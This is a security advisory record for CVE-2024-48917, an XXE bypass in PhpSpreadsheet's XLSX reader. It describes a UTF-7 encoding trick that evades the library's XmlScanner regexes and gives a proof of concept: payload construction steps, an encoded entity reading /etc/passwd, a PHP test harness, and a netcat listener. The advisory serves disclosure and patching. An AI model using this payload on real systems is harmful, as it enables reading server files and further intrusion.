{"id":"GHSA-7cc9-j4mv-vcjp","summary":"XXE in PHPSpreadsheet's XLSX reader","details":"### Summary\n\nThe [XmlScanner class](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php) has a [scan](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L72) method which should prevent XXE attacks.\n\nHowever, we found another bypass than the previously reported `CVE-2024-47873`, the regexes from the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method, which is used for determining the current encoding can be bypassed by using a payload in the encoding UTF-7, and adding at end of the file a comment with the value `encoding=\"UTF-8\"` with `\"`, which is matched by the first regex, so that `encoding='UTF-7'` with single quotes `'` in the XML header is not matched by the second regex: \n\n```\n $patterns = [\n            '/encoding\\\\s*=\\\\s*\"([^\"]*]?)\"/',\n            \"/encoding\\\\s*=\\\\s*'([^']*?)'/\",\n        ];\n``` \n\nA payload for the `workbook.xml` file can for example be created with [CyberChef](https://gchq.github.io/CyberChef/#recipe=Encode_text('UTF-7%20(65000)')&input=Pz4KPCFET0NUWVBFIGZvbyBbCiAgPCFFTEVNRU5UIGZvbyBBTlkgPgogIDwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgPl0%2BCjxmb28%2BJnh4ZTs8L2Zvbz4K).\nIf you open an Excel file containing the payload from the link above stored in the `workbook.xml` file with PhpSpreadsheet, you will receive an HTTP request on `127.0.0.1:12345`. You can test that an HTTP request is created by running the `nc -nlvp 12345` command before opening the file containing the payload with PhpSpreadsheet.\n\nTo create the payload you need:\n1. Create a file containing `\u003c?xml version = \"1.0\" encoding='UTF-7'` in an XML file\n2. Use the link attached above to create your XXE payload and add it to the XML file. \n3. Add `+ADw-+ACE---encoding=\"UTF-8\"--+AD4-` to the end of the XML file, which is matched by the first regex. \n\n### PoC\n\n[payload.xlsx](https://github.com/user-attachments/files/17375792/payload.xlsx)\n\n- Create a new folder.\n- Run the `composer require phpoffice/phpspreadsheet` command in the new folder.\n- Create an `index.php` file in that folder with the following content:\n```PHP\n\u003c?php\nrequire 'vendor/autoload.php';\n\nuse PhpOffice\\PhpSpreadsheet\\Spreadsheet;\nuse PhpOffice\\PhpSpreadsheet\\Writer\\Xlsx;\n\n$spreadsheet = new Spreadsheet();\n\n$inputFileType = 'Xlsx';\n$inputFileName = './payload.xlsx';\n\n/**  Create a new Reader of the type defined in $inputFileType  **/\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader($inputFileType);\n/**  Advise the Reader that we only want to load cell data  **/\n$reader-\u003esetReadDataOnly(true);\n\n$worksheetData = $reader-\u003elistWorksheetInfo($inputFileName);\n\nforeach ($worksheetData as $worksheet) {\n\n$sheetName = $worksheet['worksheetName'];\n\necho \"\u003ch4\u003e$sheetName\u003c/h4\u003e\";\n/**  Load $inputFileName to a Spreadsheet Object  **/\n$reader-\u003esetLoadSheetsOnly($sheetName);\n$spreadsheet = $reader-\u003eload($inputFileName);\n\n$worksheet = $spreadsheet-\u003egetActiveSheet();\nprint_r($worksheet-\u003etoArray());\n\n}\n```\n- Run the following command: `php -S 127.0.0.1:8080`\n- Add the [payload.xlsx](https://github.com/user-attachments/files/17375792/payload.xlsx) file in the folder and open \u003chttps://127.0.0.1:8080\u003e in a browser. You will see an HTTP request on netcat \u003chttp://127.0.0.1:12345/ext.dtd\u003e.\n\n### Impact\n\nAn attacker can bypass the sanitizer and achieve an [XXE attack](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing).","aliases":["CVE-2024-48917"],"modified":"2025-03-06T18:38:25.210813Z","published":"2024-11-18T20:01:46Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2024-11-18T20:01:46Z","nvd_published_at":"2024-11-18T20:15:05Z","cwe_ids":["CWE-611"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7cc9-j4mv-vcjp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-48917"},{"type":"PACKAGE","url":"https://github.com/PHPOffice/PhpSpreadsheet"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php"},{"type":"WEB","url":"https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"}],"affected":[{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.29.4"}]}],"versions":["1.0.0","1.0.0-beta","1.0.0-beta2","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.13.0","1.14.0","1.14.1","1.15.0","1.16.0","1.17.0","1.17.1","1.18.0","1.19.0","1.2.0","1.2.1","1.20.0","1.21.0","1.22.0","1.23.0","1.24.0","1.24.1","1.25.0","1.25.1","1.25.2","1.26.0","1.27.0","1.27.1","1.28.0","1.29.0","1.29.1","1.29.2","1.3.0","1.3.1","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/11/GHSA-7cc9-j4mv-vcjp/GHSA-7cc9-j4mv-vcjp.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.1.3"}]}],"versions":["2.0.0","2.1.0","2.1.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/11/GHSA-7cc9-j4mv-vcjp/GHSA-7cc9-j4mv-vcjp.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.3.2"}]}],"versions":["2.2.0","2.2.1","2.2.2","2.3.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/11/GHSA-7cc9-j4mv-vcjp/GHSA-7cc9-j4mv-vcjp.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.0"},{"fixed":"3.4.0"}]}],"versions":["3.3.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/11/GHSA-7cc9-j4mv-vcjp/GHSA-7cc9-j4mv-vcjp.json"}},{"package":{"name":"phpoffice/phpexcel","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpexcel"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.8.2"}]}],"versions":["1.7.9","1.7.9-rc1","1.8.0","1.8.0rc1","1.8.0rc2","1.8.0rc3","1.8.0rc4","1.8.1","1.8.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/11/GHSA-7cc9-j4mv-vcjp/GHSA-7cc9-j4mv-vcjp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}